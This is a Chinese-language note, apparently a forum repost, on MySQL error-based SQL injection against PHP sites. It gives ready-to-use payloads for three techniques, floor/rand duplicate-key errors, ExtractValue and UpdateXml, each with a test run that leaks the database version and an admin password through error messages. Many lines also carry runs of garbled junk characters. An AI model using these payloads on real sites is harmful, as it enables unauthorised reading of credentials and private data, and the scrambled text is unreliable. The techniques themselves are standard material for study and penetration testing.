放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。
% \6 v }% n% \实际测试环境:; Q& K& ~4 d3 ]1 i9 h, t
X& ^: r1 x% {" n4 H
! q" ] R/ o" `; d' c0 I6 F- u5 xmysql> show tables;
( ]- R2 P8 s. j! c# N* r+----------------+# U. p: B1 H0 {5 d
| Tables_in_test |/ S. W$ m2 ~; F& O
+----------------+
- }2 T* a4 a" G$ t| admin |7 r2 h# `8 P3 y' ^6 {, G
| article |& S4 y! H5 ]% u4 i4 ?- H: ^/ t
+----------------+; p/ D1 Q. J: ^0 I. j
w1 l4 d% `* S# R* a. A
; Q% f0 i4 K' Q) j
) U# F- e* g# J- B. mmysql> describe admin;
% S/ b& o N5 \& I+-------+------------------+------+-----+---------+----------------+
8 f* @; L N, M' G9 C5 G| Field | Type | Null | Key | Default | Extra |+ U0 e x) r* h5 A$ Y# r" A
+-------+------------------+------+-----+---------+----------------+
5 K1 z% x& q4 q4 r0 \| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
8 O" d% k2 E: b. O| user | varchar(50) | NO | | NULL | |9 R9 Z2 ^- @2 [. y
| pass | varchar(50) | NO | | NULL | |1 {( x3 g1 P2 r. y5 I2 k. }
+-------+------------------+------+-----+---------+----------------+
/ n- ~' b' D4 l- b7 m- p7 }
1 b) s% ]9 |1 M1 U8 j, g
& R5 n- f$ X$ ^2 Z+ h6 V7 q8 B 0 T7 o: \6 ~2 \
mysql> describe article;: D& _6 _6 d. {- s& N, g
+---------+------------------+------+-----+---------+----------------+
* g- A7 c* Y* d4 `1 [" k- H| Field | Type | Null | Key | Default | Extra |
; U8 ?1 [ R# |3 U, ^+---------+------------------+------+-----+---------+----------------+
5 w2 B. j' L3 K| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
# v0 ~! Q- j+ y$ C" |3 J# h| title | varchar(50) | NO | | NULL | |- d3 m2 j0 r, w& G) ^ {
| content | varchar(50) | NO | | NULL | |
: n0 J# e# p; f, w, L3 d& e/ C9 X( e+---------+------------------+------+-----+---------+----------------+$ r6 k6 v: |( H9 n6 b) F
1、通过floor报错% s- h8 f& u- z: o0 c' I, p
可以通过如下一些利用代码2 i% j2 z4 e! n
) B% A# o. p8 k
$ ?6 w7 Q$ Z; v G+ m2 D( B0 H' gand select 1 from (select count(*),concat(version(),floor(rand(0)*2))x+ `- ~: D, T# b# S; W0 S. c$ W
from information_schema.tables group by x)a);: G B& Z0 q. C0 ^1 S8 J9 d
# e/ u0 c* h/ u |- e
+ y4 Q$ V, H y" n7 mand (select count(*) from (select 1 union select null union select !1)x
9 R: i' O3 U" }( p* Xgroup by concat((select table_name from information_schema.tables limit 1),2 x. Y! a9 |" A: H2 }+ V
floor(rand(0)*2)));0 ^, V/ K* k9 G1 [( G
举例如下:
1 K6 _8 K( D r. [ K4 P' \ x首先进行正常查询:. _2 i: G9 V0 x' `8 V0 N* G$ d
7 b* J" w C2 W& |; r9 j( lmysql> select * from article where id = 1;' ]3 D* P! c: A3 l* D
+----+-------+---------+
1 S- X `7 N4 H* Q| id | title | content |% w3 K- F, C4 R/ n7 P; {
+----+-------+---------+9 w+ u# l; ^6 I1 Z4 C. k
| 1 | test | do it |2 P' N" [4 a o' z' ~ ]' d7 N
+----+-------+---------+: [, D: V, T/ S; r" n) P
假如id输入存在注入的话,可以通过如下语句进行报错。4 E9 Z+ b+ r* v" l" F
/ Z1 C) T# Q" o
/ b1 K" z# p. v: [mysql> select * from article where id = 1 and (select 1 from
" E2 \' Y1 \' A(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
! m* a* h* b# R/ N4 U5 ^4 ^# NERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'7 l; ^/ b$ O6 L' U! F m$ E
可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。$ d. S+ z2 ]+ `" N4 v$ b: `
例如我们需要查询管理员用户名和密码:& P G$ i; `; V4 O
Method1:
5 M" }$ j! K) b( C : U* r( s1 D. O( F% i
; S* [7 t+ n# Kmysql> select * from article where id = 1 and (select 1 from: g8 M" d7 p6 ^ b0 }( B5 P
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
' Q/ h2 w7 S& z7 d3 m9 S8 M q) Kfrom information_schema.tables group by x)a);" Z, G" w- a' i, V: W
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
$ q" o! O! {# p0 V9 t8 i SMethod2:* n) I1 G+ m& F' ^8 A* L4 R
. A3 K& Q3 J( H: Q1 Y* D8 s
2 Q2 V' @+ \3 o3 V
mysql> select * from article where id = 1 and (select count(*)
; F0 z3 S3 ^% Z7 lfrom (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
* z; [: E3 L& S: wfloor(rand(0)*2)));
~2 i8 e: w2 G7 `; ?ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'6 p4 a, f1 e% J1 a" g
2、ExtractValue
( Z5 Y- \& S7 J/ W1 {测试语句如下4 H- w+ b* P, \1 X! E
+ R0 E3 b/ N- O4 g1 J; |0 u6 F
' W) S G7 v3 ^, \; tand extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));% I" m. w; U) P" F+ R9 s9 T/ e* f
实际测试过程1 x9 B0 Q2 h' x( R) o: V5 u1 k
7 [1 X" u# n" K5 q8 s- U G . i0 p! \0 z- ?. |
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
a% ^% P, R0 c# R; E# Q# O3 G6 c4 {(select pass from admin limit 1)));--
. a q+ D7 @. h: ^7 p0 h3 [ERROR 1105 (HY000): XPATH syntax error: '\admin888'
( ^2 e) N& U; H: q4 y7 o3、UpdateXml
" q( o! h2 v% D7 @7 F% t测试语句0 Y" s* R( A# Y. X
# Q4 C( r! P$ l I1 Z: |" |" j
: z! P6 Y0 z; |and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
+ Q6 j/ G! \+ x; y: D实际测试过程9 z3 ]. v; L, I$ F
{: j' c) n6 [- o2 e * L; i* {' G- z/ @6 u( K; w
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,* v/ O1 [7 Z) \. {. m6 _
(select pass from admin limit 1),0x5e24),1));+ U! s7 [% f) w4 w% _
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
8 M- j/ i4 V+ @All, thanks foreign guys. K5 M% i/ K1 T8 e
v8 [3 j- [$ ?- Y
9 Z& \7 u. p) ~' E2 V) l$ O8 M | |